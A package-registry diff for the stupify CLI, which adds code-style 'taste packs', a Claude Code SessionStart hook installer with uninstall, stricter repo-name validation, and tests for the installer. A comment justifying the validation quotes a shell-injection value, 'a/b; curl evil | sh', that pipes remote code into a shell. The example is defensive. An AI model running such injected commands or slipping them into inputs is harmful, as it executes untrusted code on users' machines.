@stupify/cli 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/src/cli.ts CHANGED
@@ -8,18 +8,40 @@
8
8
  * `stupify run [--dry]` → run one review sweep right now.
9
9
  */
10
10
  import { spawnSync } from 'node:child_process'
11
- import { copyFileSync, existsSync, mkdirSync, writeFileSync } from 'node:fs'
11
+ import { copyFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
12
12
  import { homedir } from 'node:os'
13
13
  import { dirname, join } from 'node:path'
14
14
  import { fileURLToPath } from 'node:url'
15
- import { cancel, confirm, intro, isCancel, log, note, outro, spinner, text } from '@clack/prompts'
15
+ import { cancel, confirm, intro, isCancel, log, multiselect, note, outro, spinner, text } from '@clack/prompts'
16
16
  import pc from 'picocolors'
17
+ import { emitPrime } from './prime'
17
18
 
18
19
  const PKG_DIR = dirname(fileURLToPath(import.meta.url))
20
+ const PKG_ROOT = join(PKG_DIR, '..') // the published package root: holds .review/ and packs/
19
21
  const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
20
22
  const STATE = join(HOME, 'state')
21
23
  const REQUIRED = ['bun', 'gh', 'codex', 'git'] as const
22
24
 
25
+ // Taste packs: "code like X". Picking one (or several) seeds the corpus, so you don't start from a blank file.
26
+ interface Pack {
27
+ id: string
28
+ label: string
29
+ kind: 'taste' | 'perf'
30
+ }
31
+ const PACKS: Pack[] = [
32
+ { id: 'anton-kropp', label: 'Anton Kropp (devshorts) — DI + branded types', kind: 'taste' },
33
+ { id: 'zod', label: 'Colin McDonnell / Zod — parse, don’t validate', kind: 'taste' },
34
+ { id: 'sindre-sorhus', label: 'Sindre Sorhus — one file, one job', kind: 'taste' },
35
+ { id: 'rich-harris', label: 'Rich Harris / Svelte — compiler-grade precision', kind: 'taste' },
36
+ { id: 'tanner-linsley', label: 'Tanner Linsley / TanStack — types forbid bad states', kind: 'taste' },
37
+ { id: 'mitchell-hashimoto', label: 'Mitchell Hashimoto / Ghostty — documented tradeoffs', kind: 'taste' },
38
+ { id: 'simon-willison', label: 'Simon Willison — one concept per file', kind: 'taste' },
39
+ { id: 'dtolnay', label: 'David Tolnay — the API that disappears (Rust)', kind: 'taste' },
40
+ { id: 'antirez', label: 'antirez / Redis — comments that earn their keep (C)', kind: 'taste' },
41
+ { id: 'dhh', label: 'DHH / Rails — controllers that tell the story (Ruby)', kind: 'taste' },
42
+ { id: 'jarred-sumner', label: 'Jarred Sumner / Bun — perf as correctness', kind: 'perf' },
43
+ ]
44
+
23
45
  function bail<T>(value: T | symbol): asserts value is T {
24
46
  if (isCancel(value)) {
25
47
  cancel('aborted.')
@@ -27,6 +49,11 @@ function bail<T>(value: T | symbol): asserts value is T {
27
49
  }
28
50
  }
29
51
 
52
+ function die(message: string): never {
53
+ log.error(message)
54
+ process.exit(1)
55
+ }
56
+
30
57
  function which(bin: string): string | null {
31
58
  return Bun.which(bin)
32
59
  }
@@ -50,7 +77,14 @@ function detectRepo(): string | null {
50
77
  .replace(/^[a-z]+:\/\/[^/]+\//, '')
51
78
  .replace(/^git@[^:]+:/, '')
52
79
  .replace(/\.git$/, '')
53
- return /^[^/]+\/[^/]+$/.test(slug) ? slug : null
80
+ return validRepo(slug) ? slug : null
81
+ }
82
+
83
+ // Strict owner/repo — GitHub names are word chars / dot / hyphen only. This is also a security boundary:
84
+ // `repo` is interpolated into a shell setup-script that runs on the VM, so anything looser than this would
85
+ // let `a/b; curl evil | sh` through.
86
+ function validRepo(r: string): boolean {
87
+ return /^[\w.-]+\/[\w.-]+$/.test(r)
54
88
  }
55
89
 
56
90
  function installCron(opts: { ghHost: string }): string {
@@ -68,7 +102,79 @@ function installCron(opts: { ghHost: string }): string {
68
102
  return line
69
103
  }
70
104
 
71
- async function setup(argv: { repo?: string; host?: string; yes: boolean }): Promise<void> {
105
+ // The short human label for a set of picked packs, e.g. "Sindre Sorhus + Anton Kropp" — for plan/success notes.
106
+ const tasteLabel = (packs: string[]): string =>
107
+ PACKS.filter((p) => packs.includes(p.id)).map((p) => p.label.split(' — ')[0]).join(' + ')
108
+
109
+ // Returns the chosen pack ids. `--pack a,b` (or 'own'/'' = your own codebase) skips the prompt; with --yes and
110
+ // no flag it defaults to the devshorts pack so a fresh repo reviews immediately.
111
+ async function pickPacks(opts: { yes: boolean; packArg?: string }): Promise<string[]> {
112
+ if (opts.packArg !== undefined) {
113
+ return opts.packArg.split(',').map((s) => s.trim()).filter((id) => id && id !== 'own' && PACKS.some((p) => p.id === id))
114
+ }
115
+ if (opts.yes) return ['anton-kropp']
116
+ if (!process.stdin.isTTY) return [] // non-interactive (CI, scripts, the install hook): never block on a picker
117
+ const choice = await multiselect({
118
+ message: 'Whose code should yours look like? (pick any — or your own)',
119
+ options: [
120
+ ...PACKS.map((p) => ({ value: p.id, label: p.label, ...(p.kind === 'perf' ? { hint: 'perf' } : {}) })),
121
+ { value: 'own', label: '🧠 my own codebase', hint: 'point CORPUS.md at your files yourself' },
122
+ ],
123
+ required: false,
124
+ })
125
+ bail(choice)
126
+ return choice.filter((v) => v !== 'own')
127
+ }
128
+
129
+ // Build ~/.stupify/.review from the bundled rubric/prompt + the chosen packs' corpus. The engine uses this when
130
+ // the target repo has no .review/ of its own — so taste packs work with zero files in your repo.
131
+ function assembleReview(packs: string[]): void {
132
+ const out = join(HOME, '.review')
133
+ mkdirSync(out, { recursive: true })
134
+ copyFileSync(join(PKG_ROOT, '.review', 'RUBRIC.md'), join(out, 'RUBRIC.md'))
135
+ copyFileSync(join(PKG_ROOT, '.review', 'REVIEW-PROMPT.md'), join(out, 'REVIEW-PROMPT.md'))
136
+ if (packs.length === 0) {
137
+ copyFileSync(join(PKG_ROOT, '.review', 'CORPUS.template.md'), join(out, 'CORPUS.md')) // the bring-your-own template
138
+ return
139
+ }
140
+ const header = `# Good-code reference — taste packs\n\nJudge every diff against the standards below. When you flag slop, name the principle (or the linked file) the change should have followed. The links are commit-pinned exemplars — open them when you need detail.\n\n---\n\n`
141
+ const body = packs.map((id) => readFileSync(join(PKG_ROOT, 'packs', `${id}.md`), 'utf8').trim()).join('\n\n---\n\n')
142
+ writeFileSync(join(out, 'CORPUS.md'), `${header}${body}\n`)
143
+ }
144
+
145
+ // `stupify taste [--pack a,b]` — assemble your GLOBAL taste at ~/.stupify/.review from packs, and nothing else.
146
+ // This is the shared core both the reviewer and `stupify prime` read when a repo has no .review/ of its own —
147
+ // so you can set taste once without installing the cron reviewer.
148
+ async function taste(argv: { pack?: string }): Promise<void> {
149
+ console.clear()
150
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — pick the code yours should look like'))
151
+ const packs = await pickPacks({ yes: false, packArg: argv.pack })
152
+ if (packs.length === 0) {
153
+ note(
154
+ [
155
+ `no packs picked. taste packs seed a global corpus at ${pc.cyan(join(HOME, '.review'))}.`,
156
+ `for YOUR-OWN-codebase taste, add a ${pc.cyan('.review/')} to a repo instead ${pc.dim('(a repo .review/ always wins)')}.`,
157
+ ].join('\n'),
158
+ 'nothing to assemble',
159
+ )
160
+ outro(pc.dim('run again and pick at least one pack.'))
161
+ return
162
+ }
163
+ assembleReview(packs)
164
+ const tasteLine = tasteLabel(packs)
165
+ note(
166
+ [
167
+ `assembled ${pc.cyan(join(HOME, '.review'))} against ${pc.bold(tasteLine)}.`,
168
+ `your global taste — read by the reviewer AND ${pc.cyan('stupify prime')} in any repo without its own .review/.`,
169
+ ``,
170
+ `${pc.bold('next:')} ${pc.cyan('stupify prime --install')} ${pc.dim('— prime Claude Code with it every session')}`,
171
+ ].join('\n'),
172
+ 'taste ready',
173
+ )
174
+ outro(pc.green('your taste is set 🎯'))
175
+ }
176
+
177
+ async function setup(argv: { repo?: string; host?: string; yes: boolean; pack?: string }): Promise<void> {
72
178
  console.clear()
73
179
  intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — sounds dumb, reviews sharp'))
74
180
 
@@ -105,11 +211,12 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
105
211
  const answer = await text({
106
212
  message: 'GitHub repo to review',
107
213
  placeholder: 'owner/repo',
108
- validate: (v) => (/^[^/]+\/[^/]+$/.test((v ?? '').trim()) ? undefined : 'expected owner/repo'),
214
+ validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
109
215
  })
110
216
  bail(answer)
111
217
  repo = answer.trim()
112
218
  }
219
+ if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
113
220
 
114
221
  // 3. integration host (exe.dev) — can't be detected
115
222
  let host = argv.host ?? process.env.GH_HOST ?? ''
@@ -123,10 +230,17 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
123
230
  host = answer.trim()
124
231
  }
125
232
 
233
+ // 3.5 taste — pick a pack (or your own code)
234
+ const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
235
+ const tasteLine = packs.length
236
+ ? tasteLabel(packs)
237
+ : 'your own codebase'
238
+
126
239
  // 4. plan + confirm
127
240
  note(
128
241
  [
129
242
  `${pc.dim('repo ')} ${pc.bold(repo)}`,
243
+ `${pc.dim('taste ')} ${pc.bold(tasteLine)}`,
130
244
  host
131
245
  ? `${pc.dim('auth ')} exe.dev integration ${pc.bold(host)} ${pc.dim('— exe-llm gateway, no keys')}`
132
246
  : `${pc.dim('auth ')} your own gh + codex ${pc.dim('(run `gh auth login` first)')}`,
@@ -149,6 +263,7 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
149
263
  s2.start('installing')
150
264
  mkdirSync(STATE, { recursive: true })
151
265
  copyFileSync(join(PKG_DIR, 'review-sweep.ts'), join(HOME, 'review-sweep.ts'))
266
+ assembleReview(packs)
152
267
  const cfg = [`REPO_SLUG=${repo}`, host ? `GH_HOST=${host}` : '', '# tune anything else here — see the README']
153
268
  .filter(Boolean)
154
269
  .join('\n')
@@ -156,18 +271,139 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
156
271
  installCron({ ghHost: host })
157
272
  s2.stop(pc.green('installed') + pc.dim(` → ${HOME}`))
158
273
 
159
- // 6. success + the two steps to a first review
274
+ // 6. success
275
+ const preview = `${pc.dim('preview anytime:')} ${pc.cyan(`DRY_RUN=1 bun ${join(HOME, 'review-sweep.ts')}`)}`
276
+ if (packs.length) {
277
+ note(
278
+ [
279
+ `reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
280
+ `open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
281
+ ``,
282
+ `want your OWN taste instead? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
283
+ preview,
284
+ ].join('\n'),
285
+ "you're set",
286
+ )
287
+ } else {
288
+ note(
289
+ [
290
+ `${pc.bold('1.')} add a ${pc.cyan('.review/')} to ${pc.bold(repo)} and point ${pc.cyan('CORPUS.md')} at YOUR best files`,
291
+ `${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
292
+ ``,
293
+ preview,
294
+ ].join('\n'),
295
+ 'two steps to your first review',
296
+ )
297
+ }
298
+ outro(pc.green('stupify is watching ') + pc.bold(repo) + pc.green(' 👀'))
299
+ }
300
+
301
+ // --- prime: wire `stupify prime` into Claude Code as a SessionStart hook (self-contained, install ⇄ uninstall) ---
302
+ // The hook EMITTER lives in the dependency-free ./prime module (also copied to ~/.stupify/prime.ts on install,
303
+ // so the hook runs with no global install / node_modules). Everything below only manages the wiring.
304
+
305
+ const PRIME_ENGINE = join(HOME, 'prime.ts') // the dep-free copy the hook actually runs; also our marker in settings.json
306
+
307
+ /** Claude Code's user settings file. CLAUDE_CONFIG_DIR overrides ~/.claude (and makes this testable). */
308
+ const claudeSettingsPath = (): string => join(process.env.CLAUDE_CONFIG_DIR ?? join(homedir(), '.claude'), 'settings.json')
309
+
310
+ /** Read settings.json (or {} if absent). Throws on malformed JSON so callers refuse to clobber a broken file. */
311
+ function readSettings(path: string): Record<string, unknown> {
312
+ if (!existsSync(path)) return {}
313
+ return JSON.parse(readFileSync(path, 'utf8')) as Record<string, unknown>
314
+ }
315
+
316
+ type HookEntry = { matcher?: string; hooks?: { type?: string; command?: string }[] }
317
+ const isOurHook = (e: HookEntry): boolean => (e.hooks ?? []).some((h) => (h.command ?? '').includes(PRIME_ENGINE))
318
+
319
+ async function installPrimeHook(argv: { pack?: string }): Promise<void> {
320
+ console.clear()
321
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — prime Claude Code with your taste'))
322
+
323
+ // 0. ensure GLOBAL taste exists for the hook to inject. The hook runs in EVERY repo; a repo's own .review/
324
+ // wins, but ~/.stupify/.review is the fallback, so without it the hook would no-op everywhere. Assemble it
325
+ // here (explicit --pack always (re)assembles; otherwise pick only when none exists) so install just works.
326
+ const haveHomeTaste = existsSync(join(HOME, '.review', 'RUBRIC.md')) && existsSync(join(HOME, '.review', 'CORPUS.md'))
327
+ if (argv.pack !== undefined || !haveHomeTaste) {
328
+ const packs = await pickPacks({ yes: false, packArg: argv.pack })
329
+ if (packs.length > 0) {
330
+ assembleReview(packs)
331
+ const tasteLine = tasteLabel(packs)
332
+ log.success(`global taste assembled → ${pc.cyan(join(HOME, '.review'))} ${pc.dim(`(${tasteLine})`)}`)
333
+ } else if (!haveHomeTaste) {
334
+ log.warn(`no global taste yet — the hook will no-op until a repo has its own ${pc.cyan('.review/')} or you run ${pc.cyan('stupify taste')}`)
335
+ }
336
+ }
337
+
338
+ // 1. drop the dep-free emitter where the hook can run it fast, no global install needed
339
+ mkdirSync(HOME, { recursive: true })
340
+ copyFileSync(join(PKG_DIR, 'prime.ts'), PRIME_ENGINE)
341
+ const command = `${stableBun()} ${PRIME_ENGINE}`
342
+
343
+ // 2. merge our SessionStart hook into settings.json — never clobber existing hooks/settings, never duplicate
344
+ const path = claudeSettingsPath()
345
+ let settings: Record<string, unknown>
346
+ try {
347
+ settings = readSettings(path)
348
+ } catch {
349
+ die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
350
+ }
351
+ const hooks = (settings.hooks ??= {}) as Record<string, HookEntry[]>
352
+ const sessionStart = (hooks.SessionStart ??= [])
353
+ const existing = sessionStart.find(isOurHook)
354
+ // Refresh the command on re-install too — `command` carries the resolved bun path, which can move (a new bun
355
+ // install, a Homebrew relocation). Updating only the engine file but leaving a stale path would silently break.
356
+ if (existing) existing.hooks = [{ type: 'command', command }]
357
+ else sessionStart.push({ matcher: 'startup', hooks: [{ type: 'command', command }] })
358
+ const already = existing !== undefined
359
+ mkdirSync(dirname(path), { recursive: true })
360
+ writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
361
+
160
362
  note(
161
363
  [
162
- `${pc.bold('1.')} give it your taste — add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)}`,
163
- ` (copy this repo's ${pc.cyan('.review/')} and point ${pc.cyan('CORPUS.md')} at YOUR best files)`,
164
- `${pc.bold('2.')} label any open PR ${pc.cyan('codex-review')} ${pc.dim('(or add .github/workflows/autolabel.yml)')}`,
364
+ already
365
+ ? `already wired in ${pc.cyan(path)} ${pc.dim('(refreshed engine + command)')}`
366
+ : `added a ${pc.bold('SessionStart')} hook to ${pc.cyan(path)}`,
367
+ `every new Claude Code session now opens primed with your taste ${pc.dim('(~30ms, no-op if a repo has none)')}.`,
165
368
  ``,
166
- `${pc.dim('→ a review lands within ~60s. preview anytime:')} ${pc.cyan(`DRY_RUN=1 bun ${join(HOME, 'review-sweep.ts')}`)}`,
369
+ `${pc.dim('undo:')} ${pc.cyan('stupify prime --uninstall')}`,
167
370
  ].join('\n'),
168
- 'two steps to your first review',
371
+ "you're primed",
169
372
  )
170
- outro(pc.green('stupify is watching ') + pc.bold(repo) + pc.green(' 👀'))
373
+ outro(pc.green('Claude Code will write to your taste from the first line 🧠'))
374
+ }
375
+
376
+ function uninstallPrimeHook(): void {
377
+ console.clear()
378
+ intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — remove the Claude Code prime hook'))
379
+ const path = claudeSettingsPath()
380
+ let removed = false
381
+ if (existsSync(path)) {
382
+ let settings: Record<string, unknown>
383
+ try {
384
+ settings = readSettings(path)
385
+ } catch {
386
+ die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
387
+ }
388
+ const hooks = settings.hooks as Record<string, HookEntry[]> | undefined
389
+ if (hooks?.SessionStart) {
390
+ const kept = hooks.SessionStart.filter((e) => !isOurHook(e))
391
+ removed = kept.length !== hooks.SessionStart.length
392
+ if (kept.length > 0) hooks.SessionStart = kept
393
+ else delete hooks.SessionStart
394
+ if (Object.keys(hooks).length === 0) delete settings.hooks
395
+ writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
396
+ }
397
+ }
398
+ rmSync(PRIME_ENGINE, { force: true }) // drop the copied engine too
399
+
400
+ note(
401
+ removed
402
+ ? `removed the SessionStart hook from ${pc.cyan(path)}. your other hooks + settings are untouched.`
403
+ : `no stupify prime hook found ${pc.dim('(nothing to remove)')}.`,
404
+ 'done',
405
+ )
406
+ outro(pc.green('unprimed.'))
171
407
  }
172
408
 
173
409
  function run(dry: boolean): void {
@@ -205,7 +441,7 @@ function githubIntegrationFor(repo: string): string | null {
205
441
 
206
442
  const vmNameFor = (repo: string): string => 'stupify-' + repo.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '')
207
443
 
208
- async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
444
+ async function provision(argv: { repo?: string; yes: boolean; pack?: string }): Promise<void> {
209
445
  console.clear()
210
446
  intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — provision a reviewer on exe.dev'))
211
447
 
@@ -237,11 +473,15 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
237
473
  const answer = await text({
238
474
  message: 'GitHub repo to review',
239
475
  placeholder: 'owner/repo',
240
- validate: (v) => (/^[^/]+\/[^/]+$/.test((v ?? '').trim()) ? undefined : 'expected owner/repo'),
476
+ validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
241
477
  })
242
478
  bail(answer)
243
479
  repo = answer.trim()
244
480
  }
481
+ if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
482
+
483
+ // 2.5 taste — pick a pack (or your own code); the VM installs it on first boot
484
+ const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
245
485
 
246
486
  // 3. GitHub integration — reuse an existing one, else create it (needs your GitHub linked once, on the web)
247
487
  const s2 = spinner()
@@ -262,13 +502,17 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
262
502
  }
263
503
  }
264
504
  const host = `${integration}.int.exe.xyz`
505
+ const tasteLine = packs.length
506
+ ? tasteLabel(packs)
507
+ : 'your own codebase'
265
508
 
266
509
  // 4. plan + confirm
267
510
  note(
268
511
  [
269
- `${pc.dim('repo')} ${pc.bold(repo)}`,
270
- `${pc.dim('vm ')} a small always-on exe.dev VM on your account`,
271
- `${pc.dim('auth')} integration ${pc.bold(integration)} ${pc.dim('— no keys, no tokens')}`,
512
+ `${pc.dim('repo ')} ${pc.bold(repo)}`,
513
+ `${pc.dim('taste')} ${pc.bold(tasteLine)}`,
514
+ `${pc.dim('vm ')} a small always-on exe.dev VM on your account`,
515
+ `${pc.dim('auth ')} integration ${pc.bold(integration)} ${pc.dim('— no keys, no tokens')}`,
272
516
  ].join('\n'),
273
517
  'plan',
274
518
  )
@@ -289,7 +533,7 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
289
533
  'export PATH="$HOME/.bun/bin:/usr/local/bin:$PATH"',
290
534
  'command -v bun >/dev/null 2>&1 || curl -fsSL https://bun.sh/install | bash',
291
535
  'export PATH="$HOME/.bun/bin:$PATH"',
292
- `exec bunx github:Octember/stupif.ai setup ${repo} --host ${host} --yes`,
536
+ `exec bunx github:Octember/stupify setup ${repo} --host ${host} --pack ${packs.join(',') || 'own'} --yes`,
293
537
  ].join('\n')
294
538
  const created = exe(['new', '--name', vm, '--integration', integration, '--json', '--setup-script', '/dev/stdin'], script)
295
539
  if (!created.ok) {
@@ -306,12 +550,22 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
306
550
  s3.stop(pc.green(`VM ${pc.bold(vm)} created`) + pc.dim(` (${dest})`))
307
551
 
308
552
  // 6. success
553
+ const firstReview = packs.length
554
+ ? [
555
+ `reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
556
+ `open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
557
+ ``,
558
+ `want your OWN taste? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
559
+ ]
560
+ : [
561
+ `${pc.bold('1.')} add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)} — copy this repo's .review/, point CORPUS.md at YOUR best files`,
562
+ `${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
563
+ ]
309
564
  note(
310
565
  [
311
566
  `${pc.bold(vm)} is booting and installing stupify ${pc.dim('(~15s)')}.`,
312
567
  ``,
313
- `${pc.bold('1.')} add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)} — copy this repo's .review/, point CORPUS.md at YOUR best files`,
314
- `${pc.bold('2.')} label any open PR ${pc.cyan('codex-review')} ${pc.dim('(or add .github/workflows/autolabel.yml)')}`,
568
+ ...firstReview,
315
569
  ``,
316
570
  `${pc.dim('watch:')} ${pc.cyan(`ssh ${dest} 'tail -f ~/.stupify/state/sweep.log'`)}`,
317
571
  `${pc.dim('stop: ')} ${pc.cyan(`ssh exe.dev rm ${vm}`)}`,
@@ -329,10 +583,14 @@ ${pc.dim('Usage')} ${pc.dim('(run from your laptop)')}
329
583
  stupify <owner/repo> provision for a specific repo
330
584
  stupify setup [repo] install on THIS machine instead of provisioning a VM
331
585
  stupify run [--dry] run one review sweep now (where stupify is installed)
586
+ stupify taste [--pack a,b] pick the code yours should look like (assembles ~/.stupify/.review)
587
+ stupify prime --install prime Claude Code with your taste every session (adds a SessionStart hook)
588
+ stupify prime --uninstall remove that hook
332
589
  stupify --help
333
590
 
334
591
  ${pc.dim('Flags')}
335
592
  --host <h.int.exe.xyz> integration host (for 'setup')
593
+ --pack <a,b,...> taste packs to review against (e.g. anton-kropp,zod); 'own' = bring your own .review/
336
594
  --yes, -y accept detected defaults, no prompts (for CI / scripts)
337
595
 
338
596
  ${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then one command does the rest.")} https://stupif.ai`)
@@ -341,18 +599,28 @@ ${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then o
341
599
  // --- routing ---
342
600
  const args = process.argv.slice(2)
343
601
  const yes = args.includes('--yes') || args.includes('-y')
344
- const hostIdx = args.indexOf('--host')
345
- const host = hostIdx >= 0 ? args[hostIdx + 1] : undefined
346
- const positional = args.filter((a, i) => !a.startsWith('-') && args[i - 1] !== '--host')
602
+ const valueFlag = (name: string) => {
603
+ const i = args.indexOf(name)
604
+ return i >= 0 ? args[i + 1] : undefined
605
+ }
606
+ const host = valueFlag('--host')
607
+ const pack = valueFlag('--pack')
608
+ const positional = args.filter((a, i) => !a.startsWith('-') && args[i - 1] !== '--host' && args[i - 1] !== '--pack')
347
609
  const cmd = positional[0]
348
610
 
349
611
  if (args.includes('-h') || args.includes('--help')) {
350
612
  help()
613
+ } else if (cmd === 'taste') {
614
+ await taste({ pack })
615
+ } else if (cmd === 'prime') {
616
+ if (args.includes('--install')) await installPrimeHook({ pack })
617
+ else if (args.includes('--uninstall')) uninstallPrimeHook()
618
+ else emitPrime() // bare `prime`: machine-called by the SessionStart hook — prints only the JSON payload
351
619
  } else if (cmd === 'run') {
352
620
  run(args.includes('--dry'))
353
621
  } else if (cmd === 'setup') {
354
- await setup({ repo: positional[1], host, yes })
622
+ await setup({ repo: positional[1], host, yes, pack })
355
623
  } else {
356
624
  // default (and explicit `provision`): provision an exe.dev VM
357
- await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes })
625
+ await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes, pack })
358
626
  }
@@ -0,0 +1,109 @@
1
+ // Guards the hook installer's contract — it writes to the user's Claude Code settings.json, so the invariants
2
+ // that matter are: MERGE (never clobber other hooks/keys), IDEMPOTENT (no duplicate), SURGICAL uninstall
3
+ // (remove only ours), and REFUSE malformed JSON. Driven through the real CLI subprocess against throwaway
4
+ // STUPIFY_HOME + CLAUDE_CONFIG_DIR dirs, so the real ~/.claude is never touched.
5
+ import { expect, test } from 'bun:test'
6
+ import { spawnSync } from 'node:child_process'
7
+ import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
8
+ import { tmpdir } from 'node:os'
9
+ import { join } from 'node:path'
10
+
11
+ const CLI = join(import.meta.dir, 'cli.ts')
12
+
13
+ function env() {
14
+ const home = mkdtempSync(join(tmpdir(), 'stupify-home-'))
15
+ const cfg = mkdtempSync(join(tmpdir(), 'stupify-cc-'))
16
+ return { home, cfg, settings: join(cfg, 'settings.json') }
17
+ }
18
+ const run = (sub: string[], e: { home: string; cfg: string }) =>
19
+ spawnSync('bun', [CLI, ...sub], { env: { ...process.env, STUPIFY_HOME: e.home, CLAUDE_CONFIG_DIR: e.cfg }, encoding: 'utf8' })
20
+ const read = (p: string) => JSON.parse(readFileSync(p, 'utf8'))
21
+ const seeded = JSON.stringify({ theme: 'dark', hooks: { PostToolUse: [{ matcher: 'Edit', hooks: [{ type: 'command', command: 'echo keep' }] }] } })
22
+
23
+ test('--install merges into existing settings without clobbering, and is idempotent', () => {
24
+ const e = env()
25
+ writeFileSync(e.settings, seeded)
26
+ run(['prime', '--install'], e)
27
+ let s = read(e.settings)
28
+ expect(s.theme).toBe('dark') // unrelated key survives
29
+ expect(s.hooks.PostToolUse[0].hooks[0].command).toBe('echo keep') // unrelated hook survives
30
+ expect(s.hooks.SessionStart[0].matcher).toBe('startup')
31
+ expect(s.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts') // points at the copied dep-free engine
32
+ expect(existsSync(join(e.home, 'prime.ts'))).toBe(true) // engine copied
33
+
34
+ run(['prime', '--install'], e) // again
35
+ s = read(e.settings)
36
+ expect(s.hooks.SessionStart).toHaveLength(1) // no duplicate
37
+ rmSync(e.home, { recursive: true, force: true })
38
+ rmSync(e.cfg, { recursive: true, force: true })
39
+ })
40
+
41
+ test('--uninstall removes only our hook + engine, preserving everything else', () => {
42
+ const e = env()
43
+ writeFileSync(e.settings, seeded)
44
+ run(['prime', '--install'], e)
45
+ run(['prime', '--uninstall'], e)
46
+ const s = read(e.settings)
47
+ expect(s.theme).toBe('dark')
48
+ expect(s.hooks.PostToolUse[0].hooks[0].command).toBe('echo keep')
49
+ expect(s.hooks.SessionStart).toBeUndefined() // ours gone; empty array collapsed
50
+ expect(existsSync(join(e.home, 'prime.ts'))).toBe(false) // engine removed
51
+ rmSync(e.home, { recursive: true, force: true })
52
+ rmSync(e.cfg, { recursive: true, force: true })
53
+ })
54
+
55
+ test('--install refuses to clobber a malformed settings.json', () => {
56
+ const e = env()
57
+ writeFileSync(e.settings, 'NOT JSON {')
58
+ const r = run(['prime', '--install'], e)
59
+ expect(readFileSync(e.settings, 'utf8')).toContain('NOT JSON') // left untouched
60
+ expect(r.status).not.toBe(0) // died non-zero rather than overwrite
61
+ rmSync(e.home, { recursive: true, force: true })
62
+ rmSync(e.cfg, { recursive: true, force: true })
63
+ })
64
+
65
+ test('--uninstall on a machine with no settings.json is a clean no-op', () => {
66
+ const e = env()
67
+ const r = run(['prime', '--uninstall'], e)
68
+ expect(r.status).toBe(0)
69
+ expect(existsSync(e.settings)).toBe(false)
70
+ rmSync(e.home, { recursive: true, force: true })
71
+ rmSync(e.cfg, { recursive: true, force: true })
72
+ })
73
+
74
+ test('taste --pack assembles ~/.stupify/.review and nothing else (no reviewer leaks in)', () => {
75
+ const e = env()
76
+ run(['taste', '--pack', 'anton-kropp,zod'], e)
77
+ expect(readFileSync(join(e.home, '.review', 'CORPUS.md'), 'utf8')).toContain('Anton Kropp') // packs assembled
78
+ expect(existsSync(join(e.home, 'config.env'))).toBe(false) // no reviewer config
79
+ expect(existsSync(join(e.home, 'review-sweep.ts'))).toBe(false) // no reviewer engine
80
+ rmSync(e.home, { recursive: true, force: true })
81
+ rmSync(e.cfg, { recursive: true, force: true })
82
+ })
83
+
84
+ test('--install refreshes a stale command on re-install (not just the engine file)', () => {
85
+ const e = env()
86
+ run(['prime', '--install', '--pack', 'zod'], e)
87
+ // simulate bun having moved since first install: rewrite the stored command to a stale path
88
+ // (keep the engine path so the entry is still recognized as ours)
89
+ const s = read(e.settings)
90
+ s.hooks.SessionStart[0].hooks[0].command = `/old/stale/bun ${join(e.home, 'prime.ts')}`
91
+ writeFileSync(e.settings, JSON.stringify(s))
92
+ run(['prime', '--install', '--pack', 'zod'], e)
93
+ const after = read(e.settings)
94
+ expect(after.hooks.SessionStart).toHaveLength(1) // still no duplicate
95
+ expect(after.hooks.SessionStart[0].hooks[0].command).not.toContain('/old/stale/bun') // stale path corrected
96
+ expect(after.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts')
97
+ rmSync(e.home, { recursive: true, force: true })
98
+ rmSync(e.cfg, { recursive: true, force: true })
99
+ })
100
+
101
+ test('prime --install --pack assembles taste AND wires the hook in one step', () => {
102
+ const e = env()
103
+ run(['prime', '--install', '--pack', 'zod'], e)
104
